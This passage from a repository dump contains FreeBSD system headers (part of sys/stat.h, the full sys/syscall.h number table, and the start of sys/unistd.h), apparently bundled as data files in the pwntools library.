*/\n\tstruct\ttimespec st_atim;\t/* time of last access */\n\tstruct\ttimespec st_mtim;\t/* time of last data modification */\n\tstruct\ttimespec st_ctim;\t/* time of last file status change */\n\toff_t\t  st_size;\t\t/* file size, in bytes */\n\tblkcnt_t st_blocks;\t\t/* blocks allocated for file */\n\tblksize_t st_blksize;\t\t/* optimal blocksize for I/O */\n\tfflags_t  st_flags;\t\t/* user defined flags for file */\n\t__uint32_t st_gen;\t\t/* file generation number */\n\t__int32_t st_lspare;\n\tstruct timespec st_birthtim;\t/* time of file creation */\n\t/*\n\t * Explicitly pad st_birthtim to 16 bytes so that the size of\n\t * struct stat is backwards compatible.  We use bitfields instead\n\t * of an array of chars so that this doesn't require a C99 compiler\n\t * to compile if the size of the padding is 0.  We use 2 bitfields\n\t * to cover up to 64 bits on 32-bit machines.  We assume that\n\t * CHAR_BIT is 8...\n\t */\n\tunsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));\n\tunsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));\n};\n\n#ifdef _KERNEL\nstruct nstat {\n\t__dev_t   st_dev;\t\t/* inode's device */\n\tino_t\t  st_ino;\t\t/* inode's number */\n\t__uint32_t st_mode;\t\t/* inode protection mode */\n\t__uint32_t st_nlink;\t\t/* number of hard links */\n\tuid_t\t  st_uid;\t\t/* user ID of the file's owner */\n\tgid_t\t  st_gid;\t\t/* group ID of the file's group */\n\t__dev_t   st_rdev;\t\t/* device type */\n\tstruct\ttimespec st_atim;\t/* time of last access */\n\tstruct\ttimespec st_mtim;\t/* time of last data modification */\n\tstruct\ttimespec st_ctim;\t/* time of last file status change */\n\toff_t\t  st_size;\t\t/* file size, in bytes */\n\tblkcnt_t st_blocks;\t\t/* blocks allocated for file */\n\tblksize_t st_blksize;\t\t/* optimal blocksize for I/O */\n\tfflags_t  st_flags;\t\t/* user defined flags for file */\n\t__uint32_t st_gen;\t\t/* file generation number */\n\tstruct timespec st_birthtim;\t/* time of file creation */\n\t/*\n\t * See above about the following padding.\n\t */\n\tunsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));\n\tunsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));\n};\n#endif\n\n#ifndef _KERNEL\n#define\tst_atime\t\tst_atim.tv_sec\n#define\tst_mtime\t\tst_mtim.tv_sec\n#define\tst_ctime\t\tst_ctim.tv_sec\n#if __BSD_VISIBLE\n#define\tst_birthtime\t\tst_birthtim.tv_sec\n#endif\n\n/* For compatibility. */\n#if __BSD_VISIBLE\n#define\tst_atimespec\t\tst_atim\n#define\tst_mtimespec\t\tst_mtim\n#define\tst_ctimespec\t\tst_ctim\n#define\tst_birthtimespec\tst_birthtim\n#endif\n#endif /* !_KERNEL */\n\n#define\tS_ISUID\t0004000\t\t\t/* set user id on execution */\n#define\tS_ISGID\t0002000\t\t\t/* set group id on execution */\n#if __BSD_VISIBLE\n#define\tS_ISTXT\t0001000\t\t\t/* sticky bit */\n#endif\n\n#define\tS_IRWXU\t0000700\t\t\t/* RWX mask for owner */\n#define\tS_IRUSR\t0000400\t\t\t/* R for owner */\n#define\tS_IWUSR\t0000200\t\t\t/* W for owner */\n#define\tS_IXUSR\t0000100\t\t\t/* X for owner */\n\n#if __BSD_VISIBLE\n#define\tS_IREAD\t\tS_IRUSR\n#define\tS_IWRITE\tS_IWUSR\n#define\tS_IEXEC\t\tS_IXUSR\n#endif\n\n#define\tS_IRWXG\t0000070\t\t\t/* RWX mask for group */\n#define\tS_IRGRP\t0000040\t\t\t/* R for group */\n#define\tS_IWGRP\t0000020\t\t\t/* W for group */\n#define\tS_IXGRP\t0000010\t\t\t/* X for group */\n\n#define\tS_IRWXO\t0000007\t\t\t/* RWX mask for other */\n#define\tS_IROTH\t0000004\t\t\t/* R for other */\n#define\tS_IWOTH\t0000002\t\t\t/* W for other */\n#define\tS_IXOTH\t0000001\t\t\t/* X for other */\n\n#if __XSI_VISIBLE\n#define\tS_IFMT\t 0170000\t\t/* type of file mask */\n#define\tS_IFIFO\t 0010000\t\t/* named pipe (fifo) */\n#define\tS_IFCHR\t 0020000\t\t/* character special */\n#define\tS_IFDIR\t 0040000\t\t/* directory */\n#define\tS_IFBLK\t 0060000\t\t/* block special */\n#define\tS_IFREG\t 0100000\t\t/* regular */\n#define\tS_IFLNK\t 0120000\t\t/* symbolic link */\n#define\tS_IFSOCK 0140000\t\t/* socket */\n#define\tS_ISVTX\t 0001000\t\t/* save swapped text even after use */\n#endif\n#if __BSD_VISIBLE\n#define\tS_IFWHT  0160000\t\t/* whiteout */\n#endif\n\n#define\tS_ISDIR(m)\t(((m) & 0170000) == 0040000)\t/* directory */\n#define\tS_ISCHR(m)\t(((m) & 0170000) == 0020000)\t/* char special */\n#define\tS_ISBLK(m)\t(((m) & 0170000) == 0060000)\t/* block special */\n#define\tS_ISREG(m)\t(((m) & 0170000) == 0100000)\t/* regular file */\n#define\tS_ISFIFO(m)\t(((m) & 0170000) == 0010000)\t/* fifo or socket */\n#if __POSIX_VISIBLE >= 200112\n#define\tS_ISLNK(m)\t(((m) & 0170000) == 0120000)\t/* symbolic link */\n#define\tS_ISSOCK(m)\t(((m) & 0170000) == 0140000)\t/* socket */\n#endif\n#if __BSD_VISIBLE\n#define\tS_ISWHT(m)\t(((m) & 0170000) == 0160000)\t/* whiteout */\n#endif\n\n#if __BSD_VISIBLE\n#define\tACCESSPERMS\t(S_IRWXU|S_IRWXG|S_IRWXO)\t/* 0777 */\n\t\t\t\t\t\t\t/* 7777 */\n#define\tALLPERMS\t(S_ISUID|S_ISGID|S_ISTXT|S_IRWXU|S_IRWXG|S_IRWXO)\n\t\t\t\t\t\t\t/* 0666 */\n#define\tDEFFILEMODE\t(S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH)\n\n#define S_BLKSIZE\t512\t\t/* block size used in the stat struct */\n\n/*\n * Definitions of flags stored in file flags word.\n *\n * Super-user and owner changeable flags.\n */\n#define\tUF_SETTABLE\t0x0000ffff\t/* mask of owner changeable flags */\n#define\tUF_NODUMP\t0x00000001\t/* do not dump file */\n#define\tUF_IMMUTABLE\t0x00000002\t/* file may not be changed */\n#define\tUF_APPEND\t0x00000004\t/* writes to file may only append */\n#define UF_OPAQUE\t0x00000008\t/* directory is opaque wrt. union */\n#define UF_NOUNLINK\t0x00000010\t/* file may not be removed or renamed */\n/*\n * Super-user changeable flags.\n */\n#define\tSF_SETTABLE\t0xffff0000\t/* mask of superuser changeable flags */\n#define\tSF_ARCHIVED\t0x00010000\t/* file is archived */\n#define\tSF_IMMUTABLE\t0x00020000\t/* file may not be changed */\n#define\tSF_APPEND\t0x00040000\t/* writes to file may only append */\n#define\tSF_NOUNLINK\t0x00100000\t/* file may not be removed or renamed */\n#define\tSF_SNAPSHOT\t0x00200000\t/* snapshot inode */\n\n#ifdef _KERNEL\n/*\n * Shorthand abbreviations of above.\n */\n#define\tOPAQUE\t\t(UF_OPAQUE)\n#define\tAPPEND\t\t(UF_APPEND | SF_APPEND)\n#define\tIMMUTABLE\t(UF_IMMUTABLE | SF_IMMUTABLE)\n#define\tNOUNLINK\t(UF_NOUNLINK | SF_NOUNLINK)\n#endif\n\n#endif /* __BSD_VISIBLE */\n\n#ifndef _KERNEL\n__BEGIN_DECLS\n#if __BSD_VISIBLE\nint\tchflags(const char *, unsigned long);\n#endif\nint\tchmod(const char *, mode_t);\n#if __BSD_VISIBLE\nint\tfchflags(int, unsigned long);\n#endif\n#if __POSIX_VISIBLE >= 200112\nint\tfchmod(int, mode_t);\n#endif\n#if __POSIX_VISIBLE >= 200809\nint\tfchmodat(int, const char *, mode_t, int);\n#endif\nint\tfstat(int, struct stat *);\n#if __BSD_VISIBLE\nint\tlchflags(const char *, int);\nint\tlchmod(const char *, mode_t);\n#endif\n#if __POSIX_VISIBLE >= 200112\nint\tlstat(const char * __restrict, struct stat * __restrict);\n#endif\nint\tmkdir(const char *, mode_t);\nint\tmkfifo(const char *, mode_t);\n#if !defined(_MKNOD_DECLARED) && __XSI_VISIBLE\nint\tmknod(const char *, mode_t, dev_t);\n#define\t_MKNOD_DECLARED\n#endif\nint\tstat(const char * __restrict, struct stat * __restrict);\nmode_t\tumask(mode_t);\n#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809\nint\tfstatat(int, const char *, struct stat *, int);\nint\tmkdirat(int, const char *, mode_t);\nint\tmkfifoat(int, const char *, mode_t);\n#endif\n#if __BSD_VISIBLE || __XSI_VISIBLE >= 700\nint\tmknodat(int, const char *, mode_t, dev_t);\n#endif\n__END_DECLS\n#endif /* !_KERNEL */\n\n#endif /* !_SYS_STAT_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/syscall.h",
    "content": "/*\n * System call numbers.\n *\n * DO NOT EDIT-- this file is automatically generated.\n * $FreeBSD$\n * created from FreeBSD: stable/9/sys/kern/syscalls.master 251051 2013-05-28 05:51:00Z kib\n */\n\n#define\tSYS_syscall\t0\n#define\tSYS_exit\t1\n#define\tSYS_fork\t2\n#define\tSYS_read\t3\n#define\tSYS_write\t4\n#define\tSYS_open\t5\n#define\tSYS_close\t6\n#define\tSYS_wait4\t7\n\t\t\t\t/* 8 is old creat */\n#define\tSYS_link\t9\n#define\tSYS_unlink\t10\n\t\t\t\t/* 11 is obsolete execv */\n#define\tSYS_chdir\t12\n#define\tSYS_fchdir\t13\n#define\tSYS_mknod\t14\n#define\tSYS_chmod\t15\n#define\tSYS_chown\t16\n#define\tSYS_break\t17\n#define\tSYS_freebsd4_getfsstat\t18\n\t\t\t\t/* 19 is old lseek */\n#define\tSYS_getpid\t20\n#define\tSYS_mount\t21\n#define\tSYS_unmount\t22\n#define\tSYS_setuid\t23\n#define\tSYS_getuid\t24\n#define\tSYS_geteuid\t25\n#define\tSYS_ptrace\t26\n#define\tSYS_recvmsg\t27\n#define\tSYS_sendmsg\t28\n#define\tSYS_recvfrom\t29\n#define\tSYS_accept\t30\n#define\tSYS_getpeername\t31\n#define\tSYS_getsockname\t32\n#define\tSYS_access\t33\n#define\tSYS_chflags\t34\n#define\tSYS_fchflags\t35\n#define\tSYS_sync\t36\n#define\tSYS_kill\t37\n\t\t\t\t/* 38 is old stat */\n#define\tSYS_getppid\t39\n\t\t\t\t/* 40 is old lstat */\n#define\tSYS_dup\t41\n#define\tSYS_pipe\t42\n#define\tSYS_getegid\t43\n#define\tSYS_profil\t44\n#define\tSYS_ktrace\t45\n\t\t\t\t/* 46 is old sigaction */\n#define\tSYS_getgid\t47\n\t\t\t\t/* 48 is old sigprocmask */\n#define\tSYS_getlogin\t49\n#define\tSYS_setlogin\t50\n#define\tSYS_acct\t51\n\t\t\t\t/* 52 is old sigpending */\n#define\tSYS_sigaltstack\t53\n#define\tSYS_ioctl\t54\n#define\tSYS_reboot\t55\n#define\tSYS_revoke\t56\n#define\tSYS_symlink\t57\n#define\tSYS_readlink\t58\n#define\tSYS_execve\t59\n#define\tSYS_umask\t60\n#define\tSYS_chroot\t61\n\t\t\t\t/* 62 is old fstat */\n\t\t\t\t/* 63 is old getkerninfo */\n\t\t\t\t/* 64 is old getpagesize */\n#define\tSYS_msync\t65\n#define\tSYS_vfork\t66\n\t\t\t\t/* 67 is obsolete vread */\n\t\t\t\t/* 68 is obsolete vwrite */\n#define\tSYS_sbrk\t69\n#define\tSYS_sstk\t70\n\t\t\t\t/* 71 is old mmap */\n#define\tSYS_vadvise\t72\n#define\tSYS_munmap\t73\n#define\tSYS_mprotect\t74\n#define\tSYS_madvise\t75\n\t\t\t\t/* 76 is obsolete vhangup */\n\t\t\t\t/* 77 is obsolete vlimit */\n#define\tSYS_mincore\t78\n#define\tSYS_getgroups\t79\n#define\tSYS_setgroups\t80\n#define\tSYS_getpgrp\t81\n#define\tSYS_setpgid\t82\n#define\tSYS_setitimer\t83\n\t\t\t\t/* 84 is old wait */\n#define\tSYS_swapon\t85\n#define\tSYS_getitimer\t86\n\t\t\t\t/* 87 is old gethostname */\n\t\t\t\t/* 88 is old sethostname */\n#define\tSYS_getdtablesize\t89\n#define\tSYS_dup2\t90\n#define\tSYS_fcntl\t92\n#define\tSYS_select\t93\n#define\tSYS_fsync\t95\n#define\tSYS_setpriority\t96\n#define\tSYS_socket\t97\n#define\tSYS_connect\t98\n\t\t\t\t/* 99 is old accept */\n#define\tSYS_getpriority\t100\n\t\t\t\t/* 101 is old send */\n\t\t\t\t/* 102 is old recv */\n\t\t\t\t/* 103 is old sigreturn */\n#define\tSYS_bind\t104\n#define\tSYS_setsockopt\t105\n#define\tSYS_listen\t106\n\t\t\t\t/* 107 is obsolete vtimes */\n\t\t\t\t/* 108 is old sigvec */\n\t\t\t\t/* 109 is old sigblock */\n\t\t\t\t/* 110 is old sigsetmask */\n\t\t\t\t/* 111 is old sigsuspend */\n\t\t\t\t/* 112 is old sigstack */\n\t\t\t\t/* 113 is old recvmsg */\n\t\t\t\t/* 114 is old sendmsg */\n\t\t\t\t/* 115 is obsolete vtrace */\n#define\tSYS_gettimeofday\t116\n#define\tSYS_getrusage\t117\n#define\tSYS_getsockopt\t118\n#define\tSYS_readv\t120\n#define\tSYS_writev\t121\n#define\tSYS_settimeofday\t122\n#define\tSYS_fchown\t123\n#define\tSYS_fchmod\t124\n\t\t\t\t/* 125 is old recvfrom */\n#define\tSYS_setreuid\t126\n#define\tSYS_setregid\t127\n#define\tSYS_rename\t128\n\t\t\t\t/* 129 is old truncate */\n\t\t\t\t/* 130 is old ftruncate */\n#define\tSYS_flock\t131\n#define\tSYS_mkfifo\t132\n#define\tSYS_sendto\t133\n#define\tSYS_shutdown\t134\n#define\tSYS_socketpair\t135\n#define\tSYS_mkdir\t136\n#define\tSYS_rmdir\t137\n#define\tSYS_utimes\t138\n\t\t\t\t/* 139 is obsolete 4.2 sigreturn */\n#define\tSYS_adjtime\t140\n\t\t\t\t/* 141 is old getpeername */\n\t\t\t\t/* 142 is old gethostid */\n\t\t\t\t/* 143 is old sethostid */\n\t\t\t\t/* 144 is old getrlimit */\n\t\t\t\t/* 145 is old setrlimit */\n\t\t\t\t/* 146 is old killpg */\n#define\tSYS_setsid\t147\n#define\tSYS_quotactl\t148\n\t\t\t\t/* 149 is old quota */\n\t\t\t\t/* 150 is old getsockname */\n#define\tSYS_nlm_syscall\t154\n#define\tSYS_nfssvc\t155\n\t\t\t\t/* 156 is old getdirentries */\n#define\tSYS_freebsd4_statfs\t157\n#define\tSYS_freebsd4_fstatfs\t158\n#define\tSYS_lgetfh\t160\n#define\tSYS_getfh\t161\n#define\tSYS_freebsd4_getdomainname\t162\n#define\tSYS_freebsd4_setdomainname\t163\n#define\tSYS_freebsd4_uname\t164\n#define\tSYS_sysarch\t165\n#define\tSYS_rtprio\t166\n#define\tSYS_semsys\t169\n#define\tSYS_msgsys\t170\n#define\tSYS_shmsys\t171\n#define\tSYS_freebsd6_pread\t173\n#define\tSYS_freebsd6_pwrite\t174\n#define\tSYS_setfib\t175\n#define\tSYS_ntp_adjtime\t176\n#define\tSYS_setgid\t181\n#define\tSYS_setegid\t182\n#define\tSYS_seteuid\t183\n#define\tSYS_stat\t188\n#define\tSYS_fstat\t189\n#define\tSYS_lstat\t190\n#define\tSYS_pathconf\t191\n#define\tSYS_fpathconf\t192\n#define\tSYS_getrlimit\t194\n#define\tSYS_setrlimit\t195\n#define\tSYS_getdirentries\t196\n#define\tSYS_freebsd6_mmap\t197\n#define\tSYS___syscall\t198\n#define\tSYS_freebsd6_lseek\t199\n#define\tSYS_freebsd6_truncate\t200\n#define\tSYS_freebsd6_ftruncate\t201\n#define\tSYS___sysctl\t202\n#define\tSYS_mlock\t203\n#define\tSYS_munlock\t204\n#define\tSYS_undelete\t205\n#define\tSYS_futimes\t206\n#define\tSYS_getpgid\t207\n#define\tSYS_poll\t209\n#define\tSYS_freebsd7___semctl\t220\n#define\tSYS_semget\t221\n#define\tSYS_semop\t222\n#define\tSYS_freebsd7_msgctl\t224\n#define\tSYS_msgget\t225\n#define\tSYS_msgsnd\t226\n#define\tSYS_msgrcv\t227\n#define\tSYS_shmat\t228\n#define\tSYS_freebsd7_shmctl\t229\n#define\tSYS_shmdt\t230\n#define\tSYS_shmget\t231\n#define\tSYS_clock_gettime\t232\n#define\tSYS_clock_settime\t233\n#define\tSYS_clock_getres\t234\n#define\tSYS_ktimer_create\t235\n#define\tSYS_ktimer_delete\t236\n#define\tSYS_ktimer_settime\t237\n#define\tSYS_ktimer_gettime\t238\n#define\tSYS_ktimer_getoverrun\t239\n#define\tSYS_nanosleep\t240\n#define\tSYS_ntp_gettime\t248\n#define\tSYS_minherit\t250\n#define\tSYS_rfork\t251\n#define\tSYS_openbsd_poll\t252\n#define\tSYS_issetugid\t253\n#define\tSYS_lchown\t254\n#define\tSYS_aio_read\t255\n#define\tSYS_aio_write\t256\n#define\tSYS_lio_listio\t257\n#define\tSYS_getdents\t272\n#define\tSYS_lchmod\t274\n#define\tSYS_netbsd_lchown\t275\n#define\tSYS_lutimes\t276\n#define\tSYS_netbsd_msync\t277\n#define\tSYS_nstat\t278\n#define\tSYS_nfstat\t279\n#define\tSYS_nlstat\t280\n#define\tSYS_preadv\t289\n#define\tSYS_pwritev\t290\n#define\tSYS_freebsd4_fhstatfs\t297\n#define\tSYS_fhopen\t298\n#define\tSYS_fhstat\t299\n#define\tSYS_modnext\t300\n#define\tSYS_modstat\t301\n#define\tSYS_modfnext\t302\n#define\tSYS_modfind\t303\n#define\tSYS_kldload\t304\n#define\tSYS_kldunload\t305\n#define\tSYS_kldfind\t306\n#define\tSYS_kldnext\t307\n#define\tSYS_kldstat\t308\n#define\tSYS_kldfirstmod\t309\n#define\tSYS_getsid\t310\n#define\tSYS_setresuid\t311\n#define\tSYS_setresgid\t312\n\t\t\t\t/* 313 is obsolete signanosleep */\n#define\tSYS_aio_return\t314\n#define\tSYS_aio_suspend\t315\n#define\tSYS_aio_cancel\t316\n#define\tSYS_aio_error\t317\n#define\tSYS_oaio_read\t318\n#define\tSYS_oaio_write\t319\n#define\tSYS_olio_listio\t320\n#define\tSYS_yield\t321\n\t\t\t\t/* 322 is obsolete thr_sleep */\n\t\t\t\t/* 323 is obsolete thr_wakeup */\n#define\tSYS_mlockall\t324\n#define\tSYS_munlockall\t325\n#define\tSYS___getcwd\t326\n#define\tSYS_sched_setparam\t327\n#define\tSYS_sched_getparam\t328\n#define\tSYS_sched_setscheduler\t329\n#define\tSYS_sched_getscheduler\t330\n#define\tSYS_sched_yield\t331\n#define\tSYS_sched_get_priority_max\t332\n#define\tSYS_sched_get_priority_min\t333\n#define\tSYS_sched_rr_get_interval\t334\n#define\tSYS_utrace\t335\n#define\tSYS_freebsd4_sendfile\t336\n#define\tSYS_kldsym\t337\n#define\tSYS_jail\t338\n#define\tSYS_nnpfs_syscall\t339\n#define\tSYS_sigprocmask\t340\n#define\tSYS_sigsuspend\t341\n#define\tSYS_freebsd4_sigaction\t342\n#define\tSYS_sigpending\t343\n#define\tSYS_freebsd4_sigreturn\t344\n#define\tSYS_sigtimedwait\t345\n#define\tSYS_sigwaitinfo\t346\n#define\tSYS___acl_get_file\t347\n#define\tSYS___acl_set_file\t348\n#define\tSYS___acl_get_fd\t349\n#define\tSYS___acl_set_fd\t350\n#define\tSYS___acl_delete_file\t351\n#define\tSYS___acl_delete_fd\t352\n#define\tSYS___acl_aclcheck_file\t353\n#define\tSYS___acl_aclcheck_fd\t354\n#define\tSYS_extattrctl\t355\n#define\tSYS_extattr_set_file\t356\n#define\tSYS_extattr_get_file\t357\n#define\tSYS_extattr_delete_file\t358\n#define\tSYS_aio_waitcomplete\t359\n#define\tSYS_getresuid\t360\n#define\tSYS_getresgid\t361\n#define\tSYS_kqueue\t362\n#define\tSYS_kevent\t363\n#define\tSYS_extattr_set_fd\t371\n#define\tSYS_extattr_get_fd\t372\n#define\tSYS_extattr_delete_fd\t373\n#define\tSYS___setugid\t374\n#define\tSYS_eaccess\t376\n#define\tSYS_afs3_syscall\t377\n#define\tSYS_nmount\t378\n#define\tSYS___mac_get_proc\t384\n#define\tSYS___mac_set_proc\t385\n#define\tSYS___mac_get_fd\t386\n#define\tSYS___mac_get_file\t387\n#define\tSYS___mac_set_fd\t388\n#define\tSYS___mac_set_file\t389\n#define\tSYS_kenv\t390\n#define\tSYS_lchflags\t391\n#define\tSYS_uuidgen\t392\n#define\tSYS_sendfile\t393\n#define\tSYS_mac_syscall\t394\n#define\tSYS_getfsstat\t395\n#define\tSYS_statfs\t396\n#define\tSYS_fstatfs\t397\n#define\tSYS_fhstatfs\t398\n#define\tSYS_ksem_close\t400\n#define\tSYS_ksem_post\t401\n#define\tSYS_ksem_wait\t402\n#define\tSYS_ksem_trywait\t403\n#define\tSYS_ksem_init\t404\n#define\tSYS_ksem_open\t405\n#define\tSYS_ksem_unlink\t406\n#define\tSYS_ksem_getvalue\t407\n#define\tSYS_ksem_destroy\t408\n#define\tSYS___mac_get_pid\t409\n#define\tSYS___mac_get_link\t410\n#define\tSYS___mac_set_link\t411\n#define\tSYS_extattr_set_link\t412\n#define\tSYS_extattr_get_link\t413\n#define\tSYS_extattr_delete_link\t414\n#define\tSYS___mac_execve\t415\n#define\tSYS_sigaction\t416\n#define\tSYS_sigreturn\t417\n#define\tSYS_getcontext\t421\n#define\tSYS_setcontext\t422\n#define\tSYS_swapcontext\t423\n#define\tSYS_swapoff\t424\n#define\tSYS___acl_get_link\t425\n#define\tSYS___acl_set_link\t426\n#define\tSYS___acl_delete_link\t427\n#define\tSYS___acl_aclcheck_link\t428\n#define\tSYS_sigwait\t429\n#define\tSYS_thr_create\t430\n#define\tSYS_thr_exit\t431\n#define\tSYS_thr_self\t432\n#define\tSYS_thr_kill\t433\n#define\tSYS__umtx_lock\t434\n#define\tSYS__umtx_unlock\t435\n#define\tSYS_jail_attach\t436\n#define\tSYS_extattr_list_fd\t437\n#define\tSYS_extattr_list_file\t438\n#define\tSYS_extattr_list_link\t439\n#define\tSYS_ksem_timedwait\t441\n#define\tSYS_thr_suspend\t442\n#define\tSYS_thr_wake\t443\n#define\tSYS_kldunloadf\t444\n#define\tSYS_audit\t445\n#define\tSYS_auditon\t446\n#define\tSYS_getauid\t447\n#define\tSYS_setauid\t448\n#define\tSYS_getaudit\t449\n#define\tSYS_setaudit\t450\n#define\tSYS_getaudit_addr\t451\n#define\tSYS_setaudit_addr\t452\n#define\tSYS_auditctl\t453\n#define\tSYS__umtx_op\t454\n#define\tSYS_thr_new\t455\n#define\tSYS_sigqueue\t456\n#define\tSYS_kmq_open\t457\n#define\tSYS_kmq_setattr\t458\n#define\tSYS_kmq_timedreceive\t459\n#define\tSYS_kmq_timedsend\t460\n#define\tSYS_kmq_notify\t461\n#define\tSYS_kmq_unlink\t462\n#define\tSYS_abort2\t463\n#define\tSYS_thr_set_name\t464\n#define\tSYS_aio_fsync\t465\n#define\tSYS_rtprio_thread\t466\n#define\tSYS_sctp_peeloff\t471\n#define\tSYS_sctp_generic_sendmsg\t472\n#define\tSYS_sctp_generic_sendmsg_iov\t473\n#define\tSYS_sctp_generic_recvmsg\t474\n#define\tSYS_pread\t475\n#define\tSYS_pwrite\t476\n#define\tSYS_mmap\t477\n#define\tSYS_lseek\t478\n#define\tSYS_truncate\t479\n#define\tSYS_ftruncate\t480\n#define\tSYS_thr_kill2\t481\n#define\tSYS_shm_open\t482\n#define\tSYS_shm_unlink\t483\n#define\tSYS_cpuset\t484\n#define\tSYS_cpuset_setid\t485\n#define\tSYS_cpuset_getid\t486\n#define\tSYS_cpuset_getaffinity\t487\n#define\tSYS_cpuset_setaffinity\t488\n#define\tSYS_faccessat\t489\n#define\tSYS_fchmodat\t490\n#define\tSYS_fchownat\t491\n#define\tSYS_fexecve\t492\n#define\tSYS_fstatat\t493\n#define\tSYS_futimesat\t494\n#define\tSYS_linkat\t495\n#define\tSYS_mkdirat\t496\n#define\tSYS_mkfifoat\t497\n#define\tSYS_mknodat\t498\n#define\tSYS_openat\t499\n#define\tSYS_readlinkat\t500\n#define\tSYS_renameat\t501\n#define\tSYS_symlinkat\t502\n#define\tSYS_unlinkat\t503\n#define\tSYS_posix_openpt\t504\n#define\tSYS_gssd_syscall\t505\n#define\tSYS_jail_get\t506\n#define\tSYS_jail_set\t507\n#define\tSYS_jail_remove\t508\n#define\tSYS_closefrom\t509\n#define\tSYS___semctl\t510\n#define\tSYS_msgctl\t511\n#define\tSYS_shmctl\t512\n#define\tSYS_lpathconf\t513\n#define\tSYS_cap_new\t514\n#define\tSYS_cap_getrights\t515\n#define\tSYS_cap_enter\t516\n#define\tSYS_cap_getmode\t517\n#define\tSYS_pdfork\t518\n#define\tSYS_pdkill\t519\n#define\tSYS_pdgetpid\t520\n#define\tSYS_pselect\t522\n#define\tSYS_getloginclass\t523\n#define\tSYS_setloginclass\t524\n#define\tSYS_rctl_get_racct\t525\n#define\tSYS_rctl_get_rules\t526\n#define\tSYS_rctl_get_limits\t527\n#define\tSYS_rctl_add_rule\t528\n#define\tSYS_rctl_remove_rule\t529\n#define\tSYS_posix_fallocate\t530\n#define\tSYS_posix_fadvise\t531\n#define\tSYS_wait6\t532\n#define\tSYS_MAXSYSCALL\t533\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/time.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/unistd.h",
    "content": "/*-\n * Copyright (c) 1989, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)unistd.h\t8.2 (Berkeley) 1/7/94\n * $FreeBSD$\n */\n\n#ifndef _SYS_UNISTD_H_\n#define\t_SYS_UNISTD_H_\n\n#include <sys/cdefs.h>\n\n/*\n * POSIX options and option groups we unconditionally do or don't\n * implement.  Those options which are implemented (or not) entirely\n * in user mode are defined in <unistd.h>.  Please keep this list in\n * alphabetical order.\n *\n * Anything which is defined as zero below **must** have an\n * implementation for the corresponding sysconf() which is able to\n * determine conclusively whether or not the feature is supported.\n * Anything which is defined as other than -1 below **must** have\n * complete headers, types, and function declarations as specified by\n * the POSIX standard; however, if the relevant sysconf() function\n * returns -1, the functions may be stubbed out.\n */\n#define\t_POSIX_ADVISORY_INFO\t\t200112L\n#define\t_POSIX_ASYNCHRONOUS_IO\t\t0\n#define\t_POSIX_CHOWN_RESTRICTED\t\t1\n#define\t_POSIX_CLOCK_SELECTION\t\t(-1)\n#define\t_POSIX_CPUTIME\t\t\t(-1)\n#define\t_POSIX_FSYNC\t\t\t200112L\n#define\t_POSIX_IPV6\t\t\t0\n#define\t_POSIX_JOB_CONTROL\t\t1\n#define\t_POSIX_MAPPED_FILES\t\t200112L\n#define\t_POSIX_MEMLOCK\t\t\t(-1)\n#define\t_POSIX_MEMLOCK_RANGE\t\t200112L\n#define\t_POSIX_MEMORY_PROTECTION\t200112L\n#define\t_POSIX_MESSAGE_PASSING\t\t200112L\n#define\t_POSIX_MONOTONIC_CLOCK\t\t200112L\n#define\t_POSIX_NO_TRUNC\t\t\t1\n#define\t_POSIX_PRIORITIZED_IO\t\t(-1)\n#define\t_POSIX_PRIORITY_SCHEDULING\t200112L\n#define\t_POSIX_RAW_SOCKETS\t\t200112L\n#define\t_POSIX_REALTIME_SIGNALS\t\t200112L\n#define\t_POSIX_SEMAPHORES\t\t200112L\n#define\t_POSIX_SHARED_MEMORY_OBJECTS\t200112L\n#define\t_POSIX_SPORADIC_SERVER\t\t(-1)\n#define\t_POSIX_SYNCHRONIZED_IO\t\t(-1)\n#define\t_POSIX_TIMEOUTS\t\t\t200112L\n#define\t_POSIX_TIMERS\t\t\t200112L\n#define\t_POSIX_TYPED_MEMORY_OBJECTS\t(-1)\n#define\t_POSIX_VDISABLE\t\t\t0xff\n\n#if __XSI_VISIBLE\n#define\t_XOPEN_SHM\t\t\t1\n#define\t_XOPEN_STREAMS\t\t\t(-1)\n#endif\n\n/*\n * Although we have saved user/group IDs, we do not use them in setuid\n * as described in POSIX 1003.1, because the feature does not work for\n * root.  We use the saved IDs in seteuid/setegid, which are not currently\n * part of the POSIX 1003.1 specification.  XXX revisit for 1003.1-2001\n * as this is now mandatory.\n 